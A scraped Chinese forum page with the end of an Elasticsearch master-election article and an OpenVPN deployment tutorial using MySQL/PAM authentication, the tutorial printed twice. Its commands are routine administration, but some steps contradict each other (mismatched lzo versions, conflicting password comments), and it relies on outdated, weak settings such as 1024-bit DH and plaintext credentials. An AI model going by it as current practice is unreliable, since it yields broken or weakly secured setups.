return possibleNodes;
}
对了,皇帝上位以后,第一件事情是发布圣旨,昭告天下,以后寡人就是皇帝了。

怎么看,现在谁是皇帝呢?
 
curl http://localhost:9200/_cat/master?v

脑裂问题
 
关于brain split脑裂问题,可以看这个:
如何避免脑裂: http://blog.trifork.com/2013/10/24/how-to-avoid-the-split-brain-problem-in-elasticsearch/  
官方讨论:https://github.com/elasticsearch/elasticsearch/issues/2488 
 
最后,为了让大家对皇帝有个感性的认识,赠图一张,不谢!
hd.png

原文分享:http://www.codeweblog.com/elasticsearch-%E6%BA%90%E4%BB%A3%E7%A0%81%E5%88%86%E6%9E%90%E4%B9%8Bmaster%E9%80%89%E4%B8%BE/ 

企业OpenVPN部署认证实战

欺壹世 发表了文章 • 0 个评论 • 100 次浏览 • 2017-01-04 17:57 • 来自相关话题

相关概念

1、vpn 介绍
vpn 虚拟专用网络,是依靠isp和其他的nsp,在公共网络中建立专用的数据通信网络的技术。在vpn中任意两点之间的链接并没有传统的专网所需的端到端的物理链路,而是利用公共网络资源动态组成的,可以理解为通过私有的隧道技术在公共数据网络上模拟出来的和专网有相同功能的点到点的专线技术,所谓虚拟是指不需要去拉实际的长途物理线路,而是借用公共的Internet网络实现。
 
2、vpn 作用
vpn可以帮助公司用的远程用户(出差,家里)公司的分之机构、商业合作伙伴及供应商等公司和自己的公司内部网络之间建立可信的安全连接或者局域网连接,确保数据的加密安全传输和业务访问,对于运维工程师来说,还可以连接不同的机房为局域网,处理相关的业务流。
 
3、常见vpn功能的开源产品
3.1 pptp vpn  
最大优势在于无需在windows客户端单独安装vpn客户端软件,windows默认就支持pptp vpn拨号功能。他是属于点对点的方式应用,比较适合远程企业用户拨号到企业进行办公等应用,缺点很多小区及网络设备不支持pptp导致无法访问。
 
3.2 SSL VPN(openvpn)
PPTP主要为常在外面移动或者家庭办公的用户考虑的,而OpenVpn不但可以使用与PPTP的场景,还是和针对企业异地两地总分公司之间的vpn不间断按需链接,例如:ERP,OA及时通讯工具等在总分公司企业中的应用,缺点:需要单独安装客户端软件。
 
3.3 IPSEC VPN 
 IPSEC VPN 也适合针对企业异地两地中分公司或者多个IDC机房之间的VPN的不间断按需链接,并且在部署使用上更简单方便。IPSEC Vpn的开源产品openswan.
 
4、openvpn通讯原理
openvpn所有的通讯都基于一个单一的ip端口(默认1194),默认使用udp协议,同时也支持tcp。openvpn能通过大多数的代理服务器,并且能在NAT的环境很好的工作。openvpn服务端具有客户端“推送”某些网络配置信息的功能,这些信息包括,ip地址,路由设置等。 OPenvpn提供了2个虚拟网络接口:通过TUN/Tap驱动,通过他们,可以建立三层IP隧道,或者虚拟二层以太网,后者可以传送任何类型的二层以太网数据。传送的数据可通过LZO算法压缩。openvpn2.0以后版本每个进程可以同时管理数个并发的隧道。
 
5、openvpn协议选择
在选择协议的时候,需要注意2个加密隧道支架你的网络状况,如果高延迟或者丢包较多的情况下,请选择TCP协议作为底层协议,UDP协议由于存在无连接和重传机制,导致隧道上层的协议进行重传,效率非常低下,这里建议用tcp协议方式。
 
6、openvpn的依赖及核心技术
openvpn依赖Openssl,可以使用预设的私钥,第三方证书,用户名密码等进行身份验证。openvpn的技术核心是虚拟网卡,其次是SSL协议实现。
 

服务器端安装部署

相关软件:lzo压缩模块,可加快传输速度,openvpn 主程序。
 
安装环境:centos6.4 x64 下安装
1、安装lzo
# cd /usr/local/src/
# wget http://www.oberhumer.com/opensource/lzo/download/lzo-2.03.tar.gz
# tar zxf lzo-2.06.tar.gz
# cd lzo-2.06
# ./configure
# make
# make install2、安装openvpn
# yum install -y openssl* -y && cd /usr/local/src/
# wget http://www.openvpn.net/release/openvpn-2.2.2.tar.gz
# tar zxf openvpn-2.2.2.tar.gz
# cd openvpn-2.2.2
# ./configure --with-lzo-headers=/usr/local/include --with-lzo-lib=/usr/local/lib
# make
# make install
安装环境:ubuntu 12.04 x64 下安装
1、主程序安装
# aptitude install openvpn
# aptitude install libpam-dev libpam-mysql libmysql++-dev sasl2-bin2、检查安装
# ls /usr/share/doc/|grep openvpn
openvpn ##发现已经存在。3、生成证书
#cd /usr/share/doc/openvpn/examples/easy-rsa/2.0/
# . ./vars ##### 重成环境变量 以下生成的文件都在/usr/share/doc/openvpn/examples/easy-rsa/2.0/keys 下
# ./clean-all ###用来清除之前生成的所有的key
# ./build-ca ####生成ca.crt ca.key4、建立给server用的certificate & key
#./build-key-server server
##“Common Name” 设成 “server”
##会产生以下文件
01.pem
server.crt
server.csr
server.key5、建立给client用的certificate & key(可以建立多个client)## “Common Name” 设成 “clinet1” 以此类推
# ./build-key client1
##生成
client1.crt
client1.csr
client1.key
# ./build-key client2
# ./build-key client3
##当然,你也可以只生成一个client,我就是这样做的6、建立 Diffie Hellman parameters 和 ta.key# ./build-dh #建立 Diffie Hellman parameters 会生成dh{n}.pem。
# openvpn --genkey --secret ta.key #生成ta.key,防止ddos攻击,client和server同时存储7、拷贝相关文件至/etc/openvpn下。# mv keys/* /etc/openvpn/
# mv ta.key /etc/openvpn/ #不要遗漏8、建立配置文件/etc/openvpn/server.conflocal 10.0.9.10 ###本机IP,这是一个内网IP,不过在路由上已经做了IP 的映射到一个外网ip
port 1194##指定端口
proto tcp #制定协议
dev tun
;tls-server
ca ca.crt
cert server.crt
key server.key
tls-auth ta.key 0
dh dh1024.pem
server 10.8.0.0 255.255.255.0#拨入后的ip段及网关
ifconfig-pool-persist ipp.txt
#push “redirect-gateway” # 自動將 client 的 default gateway 設成經由 VPN server 出去
keepalive 10 120 # 保持連線,每 10 秒 ping 一次,若是 120 秒未收到封包,即認定 client 斷線
comp-lzo #启用压缩
max-clients 20 # 最多同時只能有十個 client
user nobody
group nogroup # vpn daemon 執行時的身份(在非 Windows 平台中使用)
persist-key #当vpn超时后,当重新启动vpn后,保持上一次使用的私钥,而不重新读取私钥。
persist-tun #通过keepalive检测vpn超时后,当重新启动vpn后,保持tun或者tap设备自动链接状态。
status /etc/openvpn/easy-rsa/keys/openvpn-status.log #日志状态信息
log /var/log/openvpn.log #日志文件
verb 3 ## 日志文件冗余。
# 以下二行是將 vpn server 內部的虛擬 ip 機器開放給 client 使用
push "route 10.0.1.0 255.255.255.0"
push "route 10.0.2.0 255.255.255.0"
push "route 10.0.3.0 255.255.255.0"
plugin ./openvpn-auth-pam.so /usr/sbin/openvpn ###这个是用来mysql 认证的,如不需要可注释掉9、开启操作系统的IP转发设置。# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE10、建立mysql认证文件。# vi /etc/pam.d/openvpn
auth sufficient pam_mysql.so user=vpn passwd=vpnjkb host=127.0.0.1:3306 db=vpn \
table=vpnuser usercolumn=name passwdcolumn=password \
where=active=1 sqllog=0 crypt=2 verbose=1
account required pam_mysql.so user=vpn passwd=vpnjkb host=127.0.0.1:3306 db=vpn \
table=vpnuser usercolumn=name passwdcolumn=password \
where=active=1 sqllog=0 crypt=2 verbose=111、创建vpn库、授权、建表mysql> create database vpn;##创建数据库vpn。
mysql> GRANT ALL ON vpn.* TO vpn@localhost IDENTIFIED BY ‘vpnjkb‘;##授权localhost上的用户vpn(密码vpn123)有对数据库vpn的所有操作权限。
mysql> flush privileges;##更新sql数据库的权限设置。
mysql> use vpn;##使用刚创建的的vpn数据库。
mysql> CREATE TABLE vpnuser (
-> name char(20) NOT NULL,
-> password char(128) default NULL,
-> active int(10) NOT NULL DEFAULT 1,
-> PRIMARY KEY (name)
-> );
mysql> insert into vpnuser (name,password) values(’soai’,password(’soai’));
##命令解释:
#创建vpn用户,对vpn这个database有所有操作权限,密码为vpn123
#active不为1,无权使用VPN12、拷贝文件# cp /usr/lib/openvpn/openvpn-auth-pam.so /etc/openvpn/13、可选配置#client-cert-not-required #不请求客户的CA证书,使用User/Pass验证
#username-as-common-name #使用客户提供的UserName作为Common Name
#client-to-client #如果让Client之间可以相互看见,去掉本行的注释掉,否则Client之间无法相互访问
#duplicate-cn #是否允许一个User同时登录多次,去掉本行注释后可以使用同一个用户名登录多次14、下载相关文件给客户端用##下载下列文件
client.crt clinet.key ca.crt ta.key
 
 

客户端配置

1、客户端下载地址:
http://swupdate.openvpn.org/community/releases/openvpn-2.2.2-install.exe   ##windows

http://swupdate.openvpn.org/community/releases/openvpn-2.2.2.tar.gz    ##linux or mac
 
2、创建client.ovpn文件client
dev tun
proto tcp
remote 8.8.8.8 1194 #公网ip 和 端口
nobind
persist-key
persist-tun
ca ca.crt
cert client.crt
key client.key
tls-auth ta.key 1
;comp-lzo
verb 3
auth-user-pass3、把client.ovpn加上之前client.crt  clinet.key ca.crt    ta.key 放入一个config文件夹,并移动至vpn安装的主目录

4、启动客户端,输入用户名密码即可。#用户名密码在服务器端,mysql中添加的用户密码。
 

其他

1、关于auto认证相关可参考:http://b.gkp.cc/2010/08/08/setup-openvpn-with-mysql-auth/  
 
2、后期维护
a、如果后期重新添加key的话
source vars
./build-keyb、后期客户端的吊销source vars
./revoke-full xiaowang #-->会生成crl.pem文件检查keys/index.txt,发现被吊销的用户前面有个R

怎么使吊销的生效呢,就是在server.conf里面加上 #crl-verify /etc/openvpn/keys/crl.pem,然后重启openvpn服务生效。 查看全部
openvpn.png


相关概念


1、vpn 介绍
vpn 虚拟专用网络,是依靠isp和其他的nsp,在公共网络中建立专用的数据通信网络的技术。在vpn中任意两点之间的链接并没有传统的专网所需的端到端的物理链路,而是利用公共网络资源动态组成的,可以理解为通过私有的隧道技术在公共数据网络上模拟出来的和专网有相同功能的点到点的专线技术,所谓虚拟是指不需要去拉实际的长途物理线路,而是借用公共的Internet网络实现。
 
2、vpn 作用
vpn可以帮助公司用的远程用户(出差,家里)公司的分之机构、商业合作伙伴及供应商等公司和自己的公司内部网络之间建立可信的安全连接或者局域网连接,确保数据的加密安全传输和业务访问,对于运维工程师来说,还可以连接不同的机房为局域网,处理相关的业务流。
 
3、常见vpn功能的开源产品
3.1 pptp vpn  
最大优势在于无需在windows客户端单独安装vpn客户端软件,windows默认就支持pptp vpn拨号功能。他是属于点对点的方式应用,比较适合远程企业用户拨号到企业进行办公等应用,缺点很多小区及网络设备不支持pptp导致无法访问。
 
3.2 SSL VPN(openvpn)
PPTP主要为常在外面移动或者家庭办公的用户考虑的,而OpenVpn不但可以使用与PPTP的场景,还是和针对企业异地两地总分公司之间的vpn不间断按需链接,例如:ERP,OA及时通讯工具等在总分公司企业中的应用,缺点:需要单独安装客户端软件。
 
3.3 IPSEC VPN 
 IPSEC VPN 也适合针对企业异地两地中分公司或者多个IDC机房之间的VPN的不间断按需链接,并且在部署使用上更简单方便。IPSEC Vpn的开源产品openswan.
 
4、openvpn通讯原理
openvpn所有的通讯都基于一个单一的ip端口(默认1194),默认使用udp协议,同时也支持tcp。openvpn能通过大多数的代理服务器,并且能在NAT的环境很好的工作。openvpn服务端具有客户端“推送”某些网络配置信息的功能,这些信息包括,ip地址,路由设置等。 OPenvpn提供了2个虚拟网络接口:通过TUN/Tap驱动,通过他们,可以建立三层IP隧道,或者虚拟二层以太网,后者可以传送任何类型的二层以太网数据。传送的数据可通过LZO算法压缩。openvpn2.0以后版本每个进程可以同时管理数个并发的隧道。
 
5、openvpn协议选择
在选择协议的时候,需要注意2个加密隧道支架你的网络状况,如果高延迟或者丢包较多的情况下,请选择TCP协议作为底层协议,UDP协议由于存在无连接和重传机制,导致隧道上层的协议进行重传,效率非常低下,这里建议用tcp协议方式。
 
6、openvpn的依赖及核心技术
openvpn依赖Openssl,可以使用预设的私钥,第三方证书,用户名密码等进行身份验证。openvpn的技术核心是虚拟网卡,其次是SSL协议实现。
 


服务器端安装部署


相关软件:lzo压缩模块,可加快传输速度,openvpn 主程序。
 
安装环境:centos6.4 x64 下安装
1、安装lzo
# cd /usr/local/src/
# wget http://www.oberhumer.com/opensource/lzo/download/lzo-2.03.tar.gz
# tar zxf lzo-2.06.tar.gz
# cd lzo-2.06
# ./configure
# make
# make install
2、安装openvpn
# yum install -y openssl* -y  && cd /usr/local/src/
# wget http://www.openvpn.net/release/openvpn-2.2.2.tar.gz
# tar zxf openvpn-2.2.2.tar.gz
# cd openvpn-2.2.2
# ./configure --with-lzo-headers=/usr/local/include --with-lzo-lib=/usr/local/lib
# make
# make install

安装环境:ubuntu 12.04 x64 下安装
1、主程序安装
# aptitude install openvpn
# aptitude install libpam-dev libpam-mysql libmysql++-dev sasl2-bin
2、检查安装
# ls /usr/share/doc/|grep openvpn
openvpn ##发现已经存在。
3、生成证书
#cd  /usr/share/doc/openvpn/examples/easy-rsa/2.0/ 
# . ./vars ##### 重成环境变量 以下生成的文件都在/usr/share/doc/openvpn/examples/easy-rsa/2.0/keys 下
# ./clean-all ###用来清除之前生成的所有的key
# ./build-ca ####生成ca.crt ca.key
4、建立给server用的certificate & key
#./build-key-server server 
##“Common Name” 设成 “server”
##会产生以下文件
01.pem
server.crt
server.csr
server.key
5、建立给client用的certificate & key(可以建立多个client)
## “Common Name” 设成 “clinet1” 以此类推
# ./build-key client1
##生成
client1.crt
client1.csr
client1.key
# ./build-key client2
# ./build-key client3
##当然,你也可以只生成一个client,我就是这样做的
6、建立 Diffie Hellman parameters 和 ta.key
#  ./build-dh #建立 Diffie Hellman parameters 会生成dh{n}.pem。
# openvpn --genkey --secret ta.key #生成ta.key,防止ddos攻击,client和server同时存储
7、拷贝相关文件至/etc/openvpn下。
# mv keys/* /etc/openvpn/
# mv ta.key /etc/openvpn/ #不要遗漏
8、建立配置文件/etc/openvpn/server.conf
local 10.0.9.10 ###本机IP,这是一个内网IP,不过在路由上已经做了IP 的映射到一个外网ip
port 1194##指定端口
proto tcp #制定协议
dev tun
;tls-server
ca ca.crt
cert server.crt
key server.key
tls-auth ta.key 0
dh dh1024.pem
server 10.8.0.0 255.255.255.0#拨入后的ip段及网关
ifconfig-pool-persist ipp.txt
#push “redirect-gateway” # 自動將 client 的 default gateway 設成經由 VPN server 出去
keepalive 10 120 # 保持連線,每 10 秒 ping 一次,若是 120 秒未收到封包,即認定 client 斷線
comp-lzo #启用压缩
max-clients 20 # 最多同時只能有十個 client
user nobody
group nogroup # vpn daemon 執行時的身份(在非 Windows 平台中使用)
persist-key #当vpn超时后,当重新启动vpn后,保持上一次使用的私钥,而不重新读取私钥。
persist-tun #通过keepalive检测vpn超时后,当重新启动vpn后,保持tun或者tap设备自动链接状态。
status /etc/openvpn/easy-rsa/keys/openvpn-status.log #日志状态信息
log /var/log/openvpn.log #日志文件
verb 3 ## 日志文件冗余。
# 以下二行是將 vpn server 內部的虛擬 ip 機器開放給 client 使用
push "route 10.0.1.0 255.255.255.0"
push "route 10.0.2.0 255.255.255.0"
push "route 10.0.3.0 255.255.255.0"
plugin ./openvpn-auth-pam.so /usr/sbin/openvpn ###这个是用来mysql 认证的,如不需要可注释掉
9、开启操作系统的IP转发设置。
# echo 1 > /proc/sys/net/ipv4/ip_forward
# iptables -t nat -A POSTROUTING -s 10.8.0.0/24 -o eth0 -j MASQUERADE
10、建立mysql认证文件。
# vi /etc/pam.d/openvpn
auth sufficient pam_mysql.so user=vpn passwd=vpnjkb host=127.0.0.1:3306 db=vpn \
table=vpnuser usercolumn=name passwdcolumn=password \
where=active=1 sqllog=0 crypt=2 verbose=1
account required pam_mysql.so user=vpn passwd=vpnjkb host=127.0.0.1:3306 db=vpn \
table=vpnuser usercolumn=name passwdcolumn=password \
where=active=1 sqllog=0 crypt=2 verbose=1
11、创建vpn库、授权、建表
mysql> create database vpn;##创建数据库vpn。
mysql> GRANT ALL ON vpn.* TO vpn@localhost IDENTIFIED BY ‘vpnjkb‘;##授权localhost上的用户vpn(密码vpn123)有对数据库vpn的所有操作权限。
mysql> flush privileges;##更新sql数据库的权限设置。
mysql> use vpn;##使用刚创建的的vpn数据库。
mysql> CREATE TABLE vpnuser (
-> name char(20) NOT NULL,
-> password char(128) default NULL,
-> active int(10) NOT NULL DEFAULT 1,
-> PRIMARY KEY (name)
-> );
mysql> insert into vpnuser (name,password) values(’soai’,password(’soai’));
##命令解释:
#创建vpn用户,对vpn这个database有所有操作权限,密码为vpn123
#active不为1,无权使用VPN
12、拷贝文件
# cp /usr/lib/openvpn/openvpn-auth-pam.so /etc/openvpn/
13、可选配置
#client-cert-not-required #不请求客户的CA证书,使用User/Pass验证
#username-as-common-name #使用客户提供的UserName作为Common Name
#client-to-client #如果让Client之间可以相互看见,去掉本行的注释掉,否则Client之间无法相互访问
#duplicate-cn #是否允许一个User同时登录多次,去掉本行注释后可以使用同一个用户名登录多次
14、下载相关文件给客户端用
##下载下列文件
client.crt clinet.key ca.crt ta.key

 
 


客户端配置


1、客户端下载地址:
http://swupdate.openvpn.org/community/releases/openvpn-2.2.2-install.exe   ##windows

http://swupdate.openvpn.org/community/releases/openvpn-2.2.2.tar.gz    ##linux or mac
 
2、创建client.ovpn文件
client
dev tun
proto tcp
remote 8.8.8.8 1194 #公网ip 和 端口
nobind
persist-key
persist-tun
ca ca.crt
cert client.crt
key client.key
tls-auth ta.key 1
;comp-lzo
verb 3
auth-user-pass
3、把client.ovpn加上之前client.crt  clinet.key ca.crt    ta.key 放入一个config文件夹,并移动至vpn安装的主目录

4、启动客户端,输入用户名密码即可。#用户名密码在服务器端,mysql中添加的用户密码。
 


其他


1、关于auto认证相关可参考:http://b.gkp.cc/2010/08/08/setup-openvpn-with-mysql-auth/  
 
2、后期维护
a、如果后期重新添加key的话
source vars
./build-key
b、后期客户端的吊销
source vars
./revoke-full xiaowang #-->会生成crl.pem文件
检查keys/index.txt,发现被吊销的用户前面有个R

怎么使吊销的生效呢,就是在server.conf里面加上 #crl-verify /etc/openvpn/keys/crl.pem,然后重启openvpn服务生效。